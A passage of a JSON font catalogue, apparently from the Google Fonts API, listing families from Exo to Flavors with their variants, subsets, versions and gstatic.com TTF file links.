        "regular": "http://fonts.gstatic.com/s/ewert/v7/va9I4kzO2tFODYBvS-J3kbDP.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Exo",
      "category": "sans-serif",
      "variants": [
        "100",
        "100italic",
        "200",
        "200italic",
        "300",
        "300italic",
        "regular",
        "italic",
        "500",
        "500italic",
        "600",
        "600italic",
        "700",
        "700italic",
        "800",
        "800italic",
        "900",
        "900italic"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-17",
      "files": {
        "100": "http://fonts.gstatic.com/s/exo/v9/4UaMrEtFpBIaEH6m2jbu5rXI.ttf",
        "100italic": "http://fonts.gstatic.com/s/exo/v9/4UaCrEtFpBISdkbC0DLM46XI-po.ttf",
        "200": "http://fonts.gstatic.com/s/exo/v9/4UaDrEtFpBIavF-G8Bji76zR4w.ttf",
        "200italic": "http://fonts.gstatic.com/s/exo/v9/4UaBrEtFpBISdkZu8RLmzanB44N1.ttf",
        "300": "http://fonts.gstatic.com/s/exo/v9/4UaDrEtFpBIa2FyG8Bji76zR4w.ttf",
        "300italic": "http://fonts.gstatic.com/s/exo/v9/4UaBrEtFpBISdkYK8hLmzanB44N1.ttf",
        "regular": "http://fonts.gstatic.com/s/exo/v9/4UaOrEtFpBIidHSi-DP-5g.ttf",
        "italic": "http://fonts.gstatic.com/s/exo/v9/4UaMrEtFpBISdn6m2jbu5rXI.ttf",
        "500": "http://fonts.gstatic.com/s/exo/v9/4UaDrEtFpBIagF2G8Bji76zR4w.ttf",
        "500italic": "http://fonts.gstatic.com/s/exo/v9/4UaBrEtFpBISdkZS8xLmzanB44N1.ttf",
        "600": "http://fonts.gstatic.com/s/exo/v9/4UaDrEtFpBIarFqG8Bji76zR4w.ttf",
        "600italic": "http://fonts.gstatic.com/s/exo/v9/4UaBrEtFpBISdkZ-9BLmzanB44N1.ttf",
        "700": "http://fonts.gstatic.com/s/exo/v9/4UaDrEtFpBIayFuG8Bji76zR4w.ttf",
        "700italic": "http://fonts.gstatic.com/s/exo/v9/4UaBrEtFpBISdkYa9RLmzanB44N1.ttf",
        "800": "http://fonts.gstatic.com/s/exo/v9/4UaDrEtFpBIa1FiG8Bji76zR4w.ttf",
        "800italic": "http://fonts.gstatic.com/s/exo/v9/4UaBrEtFpBISdkYG9hLmzanB44N1.ttf",
        "900": "http://fonts.gstatic.com/s/exo/v9/4UaDrEtFpBIa8FmG8Bji76zR4w.ttf",
        "900italic": "http://fonts.gstatic.com/s/exo/v9/4UaBrEtFpBISdkYi9xLmzanB44N1.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Exo 2",
      "category": "sans-serif",
      "variants": [
        "100",
        "200",
        "300",
        "regular",
        "500",
        "600",
        "700",
        "800",
        "900",
        "100italic",
        "200italic",
        "300italic",
        "italic",
        "500italic",
        "600italic",
        "700italic",
        "800italic",
        "900italic"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "cyrillic-ext",
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2020-03-20",
      "files": {
        "100": "http://fonts.gstatic.com/s/exo2/v8/7cH1v4okm5zmbvwkAx_sfcEuiD8jvvOcPtq-rpvLpQ.ttf",
        "200": "http://fonts.gstatic.com/s/exo2/v8/7cH1v4okm5zmbvwkAx_sfcEuiD8jPvKcPtq-rpvLpQ.ttf",
        "300": "http://fonts.gstatic.com/s/exo2/v8/7cH1v4okm5zmbvwkAx_sfcEuiD8j4PKcPtq-rpvLpQ.ttf",
        "regular": "http://fonts.gstatic.com/s/exo2/v8/7cH1v4okm5zmbvwkAx_sfcEuiD8jvvKcPtq-rpvLpQ.ttf",
        "500": "http://fonts.gstatic.com/s/exo2/v8/7cH1v4okm5zmbvwkAx_sfcEuiD8jjPKcPtq-rpvLpQ.ttf",
        "600": "http://fonts.gstatic.com/s/exo2/v8/7cH1v4okm5zmbvwkAx_sfcEuiD8jYPWcPtq-rpvLpQ.ttf",
        "700": "http://fonts.gstatic.com/s/exo2/v8/7cH1v4okm5zmbvwkAx_sfcEuiD8jWfWcPtq-rpvLpQ.ttf",
        "800": "http://fonts.gstatic.com/s/exo2/v8/7cH1v4okm5zmbvwkAx_sfcEuiD8jPvWcPtq-rpvLpQ.ttf",
        "900": "http://fonts.gstatic.com/s/exo2/v8/7cH1v4okm5zmbvwkAx_sfcEuiD8jF_WcPtq-rpvLpQ.ttf",
        "100italic": "http://fonts.gstatic.com/s/exo2/v8/7cH3v4okm5zmbtYtMeA0FKq0Jjg2drF0fNC6jJ7bpQBL.ttf",
        "200italic": "http://fonts.gstatic.com/s/exo2/v8/7cH3v4okm5zmbtYtMeA0FKq0Jjg2drH0fdC6jJ7bpQBL.ttf",
        "300italic": "http://fonts.gstatic.com/s/exo2/v8/7cH3v4okm5zmbtYtMeA0FKq0Jjg2drEqfdC6jJ7bpQBL.ttf",
        "italic": "http://fonts.gstatic.com/s/exo2/v8/7cH3v4okm5zmbtYtMeA0FKq0Jjg2drF0fdC6jJ7bpQBL.ttf",
        "500italic": "http://fonts.gstatic.com/s/exo2/v8/7cH3v4okm5zmbtYtMeA0FKq0Jjg2drFGfdC6jJ7bpQBL.ttf",
        "600italic": "http://fonts.gstatic.com/s/exo2/v8/7cH3v4okm5zmbtYtMeA0FKq0Jjg2drGqetC6jJ7bpQBL.ttf",
        "700italic": "http://fonts.gstatic.com/s/exo2/v8/7cH3v4okm5zmbtYtMeA0FKq0Jjg2drGTetC6jJ7bpQBL.ttf",
        "800italic": "http://fonts.gstatic.com/s/exo2/v8/7cH3v4okm5zmbtYtMeA0FKq0Jjg2drH0etC6jJ7bpQBL.ttf",
        "900italic": "http://fonts.gstatic.com/s/exo2/v8/7cH3v4okm5zmbtYtMeA0FKq0Jjg2drHdetC6jJ7bpQBL.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Expletus Sans",
      "category": "display",
      "variants": [
        "regular",
        "italic",
        "500",
        "500italic",
        "600",
        "600italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v13",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/expletussans/v13/RLp5K5v5_bqufTYdnhFzDj2dRfkSu6EuTHo.ttf",
        "italic": "http://fonts.gstatic.com/s/expletussans/v13/RLpnK5v5_bqufTYdnhFzDj2ddfsYv4MrXHrRDA.ttf",
        "500": "http://fonts.gstatic.com/s/expletussans/v13/RLpkK5v5_bqufTYdnhFzDj2dfQ07n6kFUHPIFaU.ttf",
        "500italic": "http://fonts.gstatic.com/s/expletussans/v13/RLpiK5v5_bqufTYdnhFzDj2ddfsgS6oPVFHNBaVImA.ttf",
        "600": "http://fonts.gstatic.com/s/expletussans/v13/RLpkK5v5_bqufTYdnhFzDj2dfSE8n6kFUHPIFaU.ttf",
        "600italic": "http://fonts.gstatic.com/s/expletussans/v13/RLpiK5v5_bqufTYdnhFzDj2ddfsgZ60PVFHNBaVImA.ttf",
        "700": "http://fonts.gstatic.com/s/expletussans/v13/RLpkK5v5_bqufTYdnhFzDj2dfUU9n6kFUHPIFaU.ttf",
        "700italic": "http://fonts.gstatic.com/s/expletussans/v13/RLpiK5v5_bqufTYdnhFzDj2ddfsgA6wPVFHNBaVImA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Fahkwang",
      "category": "sans-serif",
      "variants": [
        "200",
        "200italic",
        "300",
        "300italic",
        "regular",
        "italic",
        "500",
        "500italic",
        "600",
        "600italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "vietnamese",
        "thai",
        "latin-ext",
        "latin"
      ],
      "version": "v3",
      "lastModified": "2019-11-05",
      "files": {
        "200": "http://fonts.gstatic.com/s/fahkwang/v3/Noa26Uj3zpmBOgbNpOJHmZlRFipxkwjx.ttf",
        "200italic": "http://fonts.gstatic.com/s/fahkwang/v3/Noa06Uj3zpmBOgbNpOqNgHFQHC5Tlhjxdw4.ttf",
        "300": "http://fonts.gstatic.com/s/fahkwang/v3/Noa26Uj3zpmBOgbNpOIjmplRFipxkwjx.ttf",
        "300italic": "http://fonts.gstatic.com/s/fahkwang/v3/Noa06Uj3zpmBOgbNpOqNgBVTHC5Tlhjxdw4.ttf",
        "regular": "http://fonts.gstatic.com/s/fahkwang/v3/Noax6Uj3zpmBOgbNpNqPsr1ZPTZ4.ttf",
        "italic": "http://fonts.gstatic.com/s/fahkwang/v3/Noa36Uj3zpmBOgbNpOqNuLl7OCZ4ihE.ttf",
        "500": "http://fonts.gstatic.com/s/fahkwang/v3/Noa26Uj3zpmBOgbNpOJ7m5lRFipxkwjx.ttf",
        "500italic": "http://fonts.gstatic.com/s/fahkwang/v3/Noa06Uj3zpmBOgbNpOqNgE1SHC5Tlhjxdw4.ttf",
        "600": "http://fonts.gstatic.com/s/fahkwang/v3/Noa26Uj3zpmBOgbNpOJXnJlRFipxkwjx.ttf",
        "600italic": "http://fonts.gstatic.com/s/fahkwang/v3/Noa06Uj3zpmBOgbNpOqNgGFVHC5Tlhjxdw4.ttf",
        "700": "http://fonts.gstatic.com/s/fahkwang/v3/Noa26Uj3zpmBOgbNpOIznZlRFipxkwjx.ttf",
        "700italic": "http://fonts.gstatic.com/s/fahkwang/v3/Noa06Uj3zpmBOgbNpOqNgAVUHC5Tlhjxdw4.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Fanwood Text",
      "category": "serif",
      "variants": [
        "regular",
        "italic"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/fanwoodtext/v9/3XFtErwl05Ad_vSCF6Fq7xXGRdbY1P1Sbg.ttf",
        "italic": "http://fonts.gstatic.com/s/fanwoodtext/v9/3XFzErwl05Ad_vSCF6Fq7xX2R9zc9vhCblye.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Farro",
      "category": "sans-serif",
      "variants": [
        "300",
        "regular",
        "500",
        "700"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v1",
      "lastModified": "2019-11-05",
      "files": {
        "300": "http://fonts.gstatic.com/s/farro/v1/i7dJIFl3byGNHa3hNJ6-WkJUQUq7.ttf",
        "regular": "http://fonts.gstatic.com/s/farro/v1/i7dEIFl3byGNHZVNHLq2cV5d.ttf",
        "500": "http://fonts.gstatic.com/s/farro/v1/i7dJIFl3byGNHa25NZ6-WkJUQUq7.ttf",
        "700": "http://fonts.gstatic.com/s/farro/v1/i7dJIFl3byGNHa3xM56-WkJUQUq7.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Farsan",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "vietnamese",
        "gujarati",
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/farsan/v5/VEMwRoJ0vY_zsyz62q-pxDX9rQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Fascinate",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/fascinate/v8/z7NWdRrufC8XJK0IIEli1LbQRPyNrw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Fascinate Inline",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/fascinateinline/v9/jVyR7mzzB3zc-jp6QCAu60poNqIy1g3CfRXxWZQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Faster One",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/fasterone/v11/H4ciBXCHmdfClFb-vWhfyLuShq63czE.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Fasthand",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "khmer"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/fasthand/v10/0yb9GDohyKTYn_ZEESkuYkw2rQg1.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Fauna One",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/faunaone/v7/wlpzgwTPBVpjpCuwkuEx2UxLYClOCg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Faustina",
      "category": "serif",
      "variants": [
        "regular",
        "500",
        "600",
        "700",
        "italic",
        "500italic",
        "600italic",
        "700italic"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v6",
      "lastModified": "2020-02-05",
      "files": {
        "regular": "http://fonts.gstatic.com/s/faustina/v6/XLY4IZPxYpJfTbZAFXWzNT2SO8wpWHlsgoEvGVWWe8tbEg.ttf",
        "500": "http://fonts.gstatic.com/s/faustina/v6/XLY4IZPxYpJfTbZAFXWzNT2SO8wpWHlssIEvGVWWe8tbEg.ttf",
        "600": "http://fonts.gstatic.com/s/faustina/v6/XLY4IZPxYpJfTbZAFXWzNT2SO8wpWHlsXIYvGVWWe8tbEg.ttf",
        "700": "http://fonts.gstatic.com/s/faustina/v6/XLY4IZPxYpJfTbZAFXWzNT2SO8wpWHlsZYYvGVWWe8tbEg.ttf",
        "italic": "http://fonts.gstatic.com/s/faustina/v6/XLY2IZPxYpJfTbZAFV-6B8JKUqez9n55SsLHWl-SWc5LEnoF.ttf",
        "500italic": "http://fonts.gstatic.com/s/faustina/v6/XLY2IZPxYpJfTbZAFV-6B8JKUqez9n55SsL1Wl-SWc5LEnoF.ttf",
        "600italic": "http://fonts.gstatic.com/s/faustina/v6/XLY2IZPxYpJfTbZAFV-6B8JKUqez9n55SsIZXV-SWc5LEnoF.ttf",
        "700italic": "http://fonts.gstatic.com/s/faustina/v6/XLY2IZPxYpJfTbZAFV-6B8JKUqez9n55SsIgXV-SWc5LEnoF.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Federant",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v12",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/federant/v12/2sDdZGNfip_eirT0_U0jRUG0AqUc.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Federo",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/federo/v11/iJWFBX-cbD_ETsbmjVOe2WTG7Q.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Felipa",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/felipa/v7/FwZa7-owz1Eu4F_wSNSEwM2zpA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Fenix",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/fenix/v7/XoHo2YL_S7-g5ostKzAFvs8o.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Finger Paint",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/fingerpaint/v9/0QInMXVJ-o-oRn_7dron8YWO85bS8ANesw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Fira Code",
      "category": "monospace",
      "variants": [
        "300",
        "regular",
        "500",
        "600",
        "700"
      ],
      "subsets": [
        "cyrillic",
        "cyrillic-ext",
        "greek-ext",
        "greek",
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2020-02-04",
      "files": {
        "300": "http://fonts.gstatic.com/s/firacode/v8/uU9eCBsR6Z2vfE9aq3bL0fxyUs4tcw4W_GNsFVfxN87gsj0.ttf",
        "regular": "http://fonts.gstatic.com/s/firacode/v8/uU9eCBsR6Z2vfE9aq3bL0fxyUs4tcw4W_D1sFVfxN87gsj0.ttf",
        "500": "http://fonts.gstatic.com/s/firacode/v8/uU9eCBsR6Z2vfE9aq3bL0fxyUs4tcw4W_A9sFVfxN87gsj0.ttf",
        "600": "http://fonts.gstatic.com/s/firacode/v8/uU9eCBsR6Z2vfE9aq3bL0fxyUs4tcw4W_ONrFVfxN87gsj0.ttf",
        "700": "http://fonts.gstatic.com/s/firacode/v8/uU9eCBsR6Z2vfE9aq3bL0fxyUs4tcw4W_NprFVfxN87gsj0.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Fira Mono",
      "category": "monospace",
      "variants": [
        "regular",
        "500",
        "700"
      ],
      "subsets": [
        "cyrillic",
        "cyrillic-ext",
        "greek-ext",
        "greek",
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/firamono/v8/N0bX2SlFPv1weGeLZDtQIfTTkdbJYA.ttf",
        "500": "http://fonts.gstatic.com/s/firamono/v8/N0bS2SlFPv1weGeLZDto1d33mf3VaZBRBQ.ttf",
        "700": "http://fonts.gstatic.com/s/firamono/v8/N0bS2SlFPv1weGeLZDtondv3mf3VaZBRBQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Fira Sans",
      "category": "sans-serif",
      "variants": [
        "100",
        "100italic",
        "200",
        "200italic",
        "300",
        "300italic",
        "regular",
        "italic",
        "500",
        "500italic",
        "600",
        "600italic",
        "700",
        "700italic",
        "800",
        "800italic",
        "900",
        "900italic"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "cyrillic-ext",
        "greek-ext",
        "greek",
        "latin-ext",
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-22",
      "files": {
        "100": "http://fonts.gstatic.com/s/firasans/v10/va9C4kDNxMZdWfMOD5Vn9IjOazP3dUTP.ttf",
        "100italic": "http://fonts.gstatic.com/s/firasans/v10/va9A4kDNxMZdWfMOD5VvkrCqYTfVcFTPj0s.ttf",
        "200": "http://fonts.gstatic.com/s/firasans/v10/va9B4kDNxMZdWfMOD5VnWKnuQR37fF3Wlg.ttf",
        "200italic": "http://fonts.gstatic.com/s/firasans/v10/va9f4kDNxMZdWfMOD5VvkrAGQBf_XljGllLX.ttf",
        "300": "http://fonts.gstatic.com/s/firasans/v10/va9B4kDNxMZdWfMOD5VnPKruQR37fF3Wlg.ttf",
        "300italic": "http://fonts.gstatic.com/s/firasans/v10/va9f4kDNxMZdWfMOD5VvkrBiQxf_XljGllLX.ttf",
        "regular": "http://fonts.gstatic.com/s/firasans/v10/va9E4kDNxMZdWfMOD5VfkILKSTbndQ.ttf",
        "italic": "http://fonts.gstatic.com/s/firasans/v10/va9C4kDNxMZdWfMOD5VvkojOazP3dUTP.ttf",
        "500": "http://fonts.gstatic.com/s/firasans/v10/va9B4kDNxMZdWfMOD5VnZKvuQR37fF3Wlg.ttf",
        "500italic": "http://fonts.gstatic.com/s/firasans/v10/va9f4kDNxMZdWfMOD5VvkrA6Qhf_XljGllLX.ttf",
        "600": "http://fonts.gstatic.com/s/firasans/v10/va9B4kDNxMZdWfMOD5VnSKzuQR37fF3Wlg.ttf",
        "600italic": "http://fonts.gstatic.com/s/firasans/v10/va9f4kDNxMZdWfMOD5VvkrAWRRf_XljGllLX.ttf",
        "700": "http://fonts.gstatic.com/s/firasans/v10/va9B4kDNxMZdWfMOD5VnLK3uQR37fF3Wlg.ttf",
        "700italic": "http://fonts.gstatic.com/s/firasans/v10/va9f4kDNxMZdWfMOD5VvkrByRBf_XljGllLX.ttf",
        "800": "http://fonts.gstatic.com/s/firasans/v10/va9B4kDNxMZdWfMOD5VnMK7uQR37fF3Wlg.ttf",
        "800italic": "http://fonts.gstatic.com/s/firasans/v10/va9f4kDNxMZdWfMOD5VvkrBuRxf_XljGllLX.ttf",
        "900": "http://fonts.gstatic.com/s/firasans/v10/va9B4kDNxMZdWfMOD5VnFK_uQR37fF3Wlg.ttf",
        "900italic": "http://fonts.gstatic.com/s/firasans/v10/va9f4kDNxMZdWfMOD5VvkrBKRhf_XljGllLX.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Fira Sans Condensed",
      "category": "sans-serif",
      "variants": [
        "100",
        "100italic",
        "200",
        "200italic",
        "300",
        "300italic",
        "regular",
        "italic",
        "500",
        "500italic",
        "600",
        "600italic",
        "700",
        "700italic",
        "800",
        "800italic",
        "900",
        "900italic"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "cyrillic-ext",
        "greek-ext",
        "greek",
        "latin-ext",
        "latin"
      ],
      "version": "v4",
      "lastModified": "2019-07-17",
      "files": {
        "100": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOjEADFm8hSaQTFG18FErVhsC9x-tarWZXtqOlQfx9CjA.ttf",
        "100italic": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOtEADFm8hSaQTFG18FErVhsC9x-tarUfPVzONUXRpSjJcu.ttf",
        "200": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOsEADFm8hSaQTFG18FErVhsC9x-tarWTnMiMN-cxZblY4.ttf",
        "200italic": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOuEADFm8hSaQTFG18FErVhsC9x-tarUfPVYMJ0dzRehY43EA.ttf",
        "300": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOsEADFm8hSaQTFG18FErVhsC9x-tarWV3PiMN-cxZblY4.ttf",
        "300italic": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOuEADFm8hSaQTFG18FErVhsC9x-tarUfPVBMF0dzRehY43EA.ttf",
        "regular": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOhEADFm8hSaQTFG18FErVhsC9x-tarYfHnrMtVbx8.ttf",
        "italic": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOjEADFm8hSaQTFG18FErVhsC9x-tarUfPtqOlQfx9CjA.ttf",
        "500": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOsEADFm8hSaQTFG18FErVhsC9x-tarWQXOiMN-cxZblY4.ttf",
        "500italic": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOuEADFm8hSaQTFG18FErVhsC9x-tarUfPVXMB0dzRehY43EA.ttf",
        "600": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOsEADFm8hSaQTFG18FErVhsC9x-tarWSnJiMN-cxZblY4.ttf",
        "600italic": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOuEADFm8hSaQTFG18FErVhsC9x-tarUfPVcMd0dzRehY43EA.ttf",
        "700": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOsEADFm8hSaQTFG18FErVhsC9x-tarWU3IiMN-cxZblY4.ttf",
        "700italic": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOuEADFm8hSaQTFG18FErVhsC9x-tarUfPVFMZ0dzRehY43EA.ttf",
        "800": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOsEADFm8hSaQTFG18FErVhsC9x-tarWVHLiMN-cxZblY4.ttf",
        "800italic": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOuEADFm8hSaQTFG18FErVhsC9x-tarUfPVCMV0dzRehY43EA.ttf",
        "900": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOsEADFm8hSaQTFG18FErVhsC9x-tarWXXKiMN-cxZblY4.ttf",
        "900italic": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOuEADFm8hSaQTFG18FErVhsC9x-tarUfPVLMR0dzRehY43EA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Fira Sans Extra Condensed",
      "category": "sans-serif",
      "variants": [
        "100",
        "100italic",
        "200",
        "200italic",
        "300",
        "300italic",
        "regular",
        "italic",
        "500",
        "500italic",
        "600",
        "600italic",
        "700",
        "700italic",
        "800",
        "800italic",
        "900",
        "900italic"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "cyrillic-ext",
        "greek-ext",
        "greek",
        "latin-ext",
        "latin"
      ],
      "version": "v4",
      "lastModified": "2019-07-17",
      "files": {
        "100": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPMcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda3Zyuv1WarE9ncg.ttf",
        "100italic": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPOcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda1fqW21-ejkp3cn22.ttf",
        "200": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPPcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda3TCPn3-0oEZ-a2Q.ttf",
        "200italic": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPxcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda1fqWd36-pGR7e2SvJQ.ttf",
        "300": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPPcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda3VSMn3-0oEZ-a2Q.ttf",
        "300italic": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPxcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda1fqWE32-pGR7e2SvJQ.ttf",
        "regular": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPKcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda5fiku3efvE8.ttf",
        "italic": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPMcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda1fquv1WarE9ncg.ttf",
        "500": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPPcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda3QyNn3-0oEZ-a2Q.ttf",
        "500italic": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPxcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda1fqWS3y-pGR7e2SvJQ.ttf",
        "600": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPPcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda3SCKn3-0oEZ-a2Q.ttf",
        "600italic": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPxcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda1fqWZ3u-pGR7e2SvJQ.ttf",
        "700": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPPcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda3USLn3-0oEZ-a2Q.ttf",
        "700italic": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPxcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda1fqWA3q-pGR7e2SvJQ.ttf",
        "800": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPPcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda3ViIn3-0oEZ-a2Q.ttf",
        "800italic": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPxcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda1fqWH3m-pGR7e2SvJQ.ttf",
        "900": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPPcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda3XyJn3-0oEZ-a2Q.ttf",
        "900italic": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPxcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda1fqWO3i-pGR7e2SvJQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Fjalla One",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/fjallaone/v7/Yq6R-LCAWCX3-6Ky7FAFnOZwkxgtUb8.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Fjord One",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/fjordone/v8/zOL-4pbEnKBY_9S1jNKr6e5As-FeiQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Flamenco",
      "category": "display",
      "variants": [
        "300",
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "300": "http://fonts.gstatic.com/s/flamenco/v10/neIPzCehqYguo67ssZ0qNIkyepH9qGsf.ttf",
        "regular": "http://fonts.gstatic.com/s/flamenco/v10/neIIzCehqYguo67ssaWGHK06UY30.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Flavors",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-26",
      "files": {
